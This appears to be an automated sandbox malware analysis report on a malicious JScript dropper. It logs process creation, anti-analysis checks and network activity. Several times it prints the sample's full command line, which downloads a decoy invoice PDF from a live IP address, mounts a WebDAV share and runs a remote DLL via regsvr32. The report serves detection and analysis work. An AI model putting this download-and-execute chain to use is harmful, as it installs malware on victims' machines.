Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\2444.js.csv");ITextStream.WriteLine(" entry:7430 f:irkzhg");ITextStream.WriteLine(" exec:2 f:irkzhg");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49730

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4148			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5678			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7780	Thread sleep count: 4148 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7780	Thread sleep count: 5678 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7892	Thread sleep time: -12912720851596678s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7908	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 8084	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 4684	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: wscript.exe, 00000000.00000003.1319535489.00000209303A1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\C
Source: svchost.exe, 00000009.00000002.2598061392.00000203B982F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWp
Source: net.exe, 00000007.00000003.1381824111.00000276A2567000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2599149229.00000203BF059000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2599106574.00000203BF042000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 00000007.00000002.1384968926.00000276A2508000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\183351152124456.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\183351152124456.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\183351152124456.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\183351152124456.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\183351152124456.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
